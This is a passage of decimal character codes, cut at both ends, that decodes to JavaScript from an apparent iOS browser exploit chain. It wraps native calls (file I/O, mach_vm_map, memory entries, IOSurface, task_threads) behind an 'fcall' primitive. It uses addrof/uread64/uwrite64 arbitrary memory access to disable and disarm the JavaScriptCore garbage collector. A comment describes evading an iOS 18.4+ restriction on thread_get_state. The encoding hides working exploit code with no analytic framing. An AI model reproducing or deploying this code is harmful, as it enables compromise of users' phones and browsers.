32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 76, 79, 83, 69, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 119, 114, 105, 116, 101, 40, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 87, 82, 73, 84, 69, 44, 32, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 97, 100, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 65, 68, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 119, 114, 105, 116, 101, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 87, 82, 73, 84, 69, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 109, 111, 118, 101, 40, 112, 97, 116, 104, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 77, 79, 86, 69, 44, 32, 112, 97, 116, 104, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 40, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 44, 32, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 110, 116, 108, 40, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 78, 84, 76, 44, 32, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 108, 115, 101, 101, 107, 40, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 76, 83, 69, 69, 75, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 115, 121, 110, 99, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 83, 89, 78, 67, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 40, 100, 105, 99, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 44, 32, 100, 105, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 40, 115, 117, 114, 102, 97, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 44, 32, 115, 117, 114, 102, 97, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 111, 98, 106, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 111, 98, 106, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 112, 101, 114, 109, 105, 115, 115, 105, 111, 110, 44, 32, 111, 98, 106, 101, 99, 116, 95, 104, 97, 110, 100, 108, 101, 44, 32, 112, 97, 114, 101, 110, 116, 95, 101, 110, 116, 114, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 97, 115, 107, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 44, 32, 109, 97, 115, 107, 44, 32, 102, 108, 97, 103, 115, 44, 32, 111, 98, 106, 101, 99, 116, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 99, 111, 112, 121, 44, 32, 99, 117, 114, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 124, 32, 40, 109, 97, 120, 95, 112, 114, 111, 116, 101, 99, 116, 105, 111, 110, 32, 60, 60, 32, 51, 50, 110, 41, 44, 32, 105, 110, 104, 101, 114, 105, 116, 97, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 109, 97, 112, 40, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 77, 65, 80, 44, 32, 97, 100, 100, 114, 44, 32, 108, 101, 110, 44, 32, 112, 114, 111, 116, 44, 32, 102, 108, 97, 103, 115, 44, 32, 102, 100, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 117, 110, 108, 111, 99, 107, 40, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 85, 78, 76, 79, 67, 75, 44, 32, 97, 100, 100, 114, 101, 115, 115, 44, 32, 115, 105, 122, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 116, 97, 115, 107, 44, 32, 110, 97, 109, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 61, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 32, 61, 32, 104, 101, 97, 112, 32, 43, 32, 48, 120, 50, 52, 49, 110, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 105, 115, 83, 97, 102, 101, 84, 111, 67, 111, 108, 108, 101, 99, 116, 44, 32, 49, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 101, 110, 97, 98, 108, 101, 100, 33, 33, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 32, 123, 10, 32, 32, 32, 32, 47, 42, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 80, 114, 111, 98, 108, 101, 109, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 71, 67, 32, 105, 115, 32, 116, 114, 105, 103, 103, 101, 114, 105, 110, 103, 44, 32, 97, 110, 100, 32, 105, 116, 32, 99, 97, 108, 108, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 45, 62, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 46, 103, 101, 116, 82, 101, 103, 105, 115, 116, 101, 114, 115, 32, 45, 62, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 105, 115, 32, 98, 97, 110, 110, 101, 100, 32, 98, 121, 32, 97, 117, 116, 111, 98, 111, 120, 32, 105, 110, 32, 62, 61, 49, 56, 46, 52, 32, 119, 104, 105, 99, 104, 32, 108, 101, 97, 100, 115, 32, 116, 111, 32, 99, 114, 97, 115, 104, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 111, 108, 117, 116, 105, 111, 110, 58, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 84, 111, 32, 119, 111, 114, 107, 32, 99, 111, 114, 114, 101, 99, 116, 108, 121, 32, 105, 110, 32, 110, 111, 106, 105, 116, 32, 101, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 32, 71, 67, 32, 110, 101, 101, 100, 115, 32, 116, 111, 32, 115, 99, 97, 110, 32, 97, 116, 32, 108, 101, 97, 115, 116, 32, 116, 104, 101, 32, 115, 116, 97, 99, 107, 32, 111, 102, 32, 99, 117, 114, 114, 101, 110, 116, 32, 116, 104, 114, 101, 97, 100, 32, 119, 105, 116, 104, 32, 99, 97, 108, 108, 32, 116, 111, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 73, 116, 32, 100, 111, 101, 115, 110, 39, 116, 32, 105, 110, 118, 111, 108, 118, 101, 32, 99, 97, 108, 108, 105, 110, 103, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 32, 115, 111, 32, 105, 116, 39, 115, 32, 115, 97, 102, 101, 32, 116, 111, 32, 100, 111, 46, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 118, 111, 105, 100, 32, 77, 97, 99, 104, 105, 110, 101, 84, 104, 114, 101, 97, 100, 115, 58, 58, 103, 97, 116, 104, 101, 114, 67, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 40, 46, 46, 46, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 97, 116, 104, 101, 114, 70, 114, 111, 109, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 40, 99, 111, 110, 115, 101, 114, 118, 97, 116, 105, 118, 101, 82, 111, 111, 116, 115, 44, 32, 106, 105, 116, 83, 116, 117, 98, 82, 111, 117, 116, 105, 110, 101, 115, 44, 32, 99, 111, 100, 101, 66, 108, 111, 99, 107, 115, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 83, 116, 97, 116, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 46, 46, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 33, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 40, 108, 111, 99, 107, 101, 114, 44, 32, 98, 117, 102, 102, 101, 114, 44, 32, 99, 97, 112, 97, 99, 105, 116, 121, 44, 32, 38, 115, 105, 122, 101, 44, 32, 42, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 41, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 114, 111, 119, 66, 117, 102, 102, 101, 114, 40, 115, 105, 122, 101, 44, 32, 38, 98, 117, 102, 102, 101, 114, 44, 32, 38, 99, 97, 112, 97, 99, 105, 116, 121, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 79, 110, 32, 116, 104, 101, 32, 111, 116, 104, 101, 114, 32, 104, 97, 110, 100, 44, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 119, 105, 108, 108, 32, 116, 114, 121, 32, 116, 111, 32, 105, 116, 101, 114, 97, 116, 101, 32, 116, 104, 114, 101, 97, 100, 115, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 97, 110, 100, 32, 99, 97, 108, 108, 32, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 95, 115, 116, 97, 116, 101, 46, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 87, 101, 32, 99, 97, 110, 32, 97, 118, 111, 105, 100, 32, 105, 116, 32, 98, 121, 32, 110, 117, 108, 108, 105, 110, 103, 32, 102, 105, 114, 115, 116, 32, 109, 101, 109, 98, 101, 114, 32, 111, 102, 32, 104, 101, 97, 112, 46, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 46, 116, 104, 114, 101, 97, 100, 115, 32, 119, 104, 105, 99, 104, 32, 112, 114, 101, 118, 101, 110, 116, 115, 32, 105, 116, 101, 114, 97, 116, 105, 111, 110, 32, 97, 110, 100, 32, 115, 116, 105, 108, 108, 32, 109, 97, 107, 101, 115, 32, 116, 114, 121, 67, 111, 112, 121, 79, 116, 104, 101, 114, 84, 104, 114, 101, 97, 100, 83, 116, 97, 99, 107, 115, 32, 114, 101, 116, 117, 114, 110, 32, 116, 114, 117, 101, 46, 10, 32, 32, 32, 32, 10, 32, 32, 32, 32, 42, 47, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 118, 109, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 103, 108, 111, 98, 97, 108, 84, 104, 105, 115, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 32, 43, 32, 48, 120, 51, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 104, 101, 97, 112, 32, 61, 32, 118, 109, 32, 43, 32, 48, 120, 99, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 104, 101, 97, 112, 32, 43, 32, 48, 120, 49, 57, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 116, 104, 114, 101, 97, 100, 115, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 95, 116, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 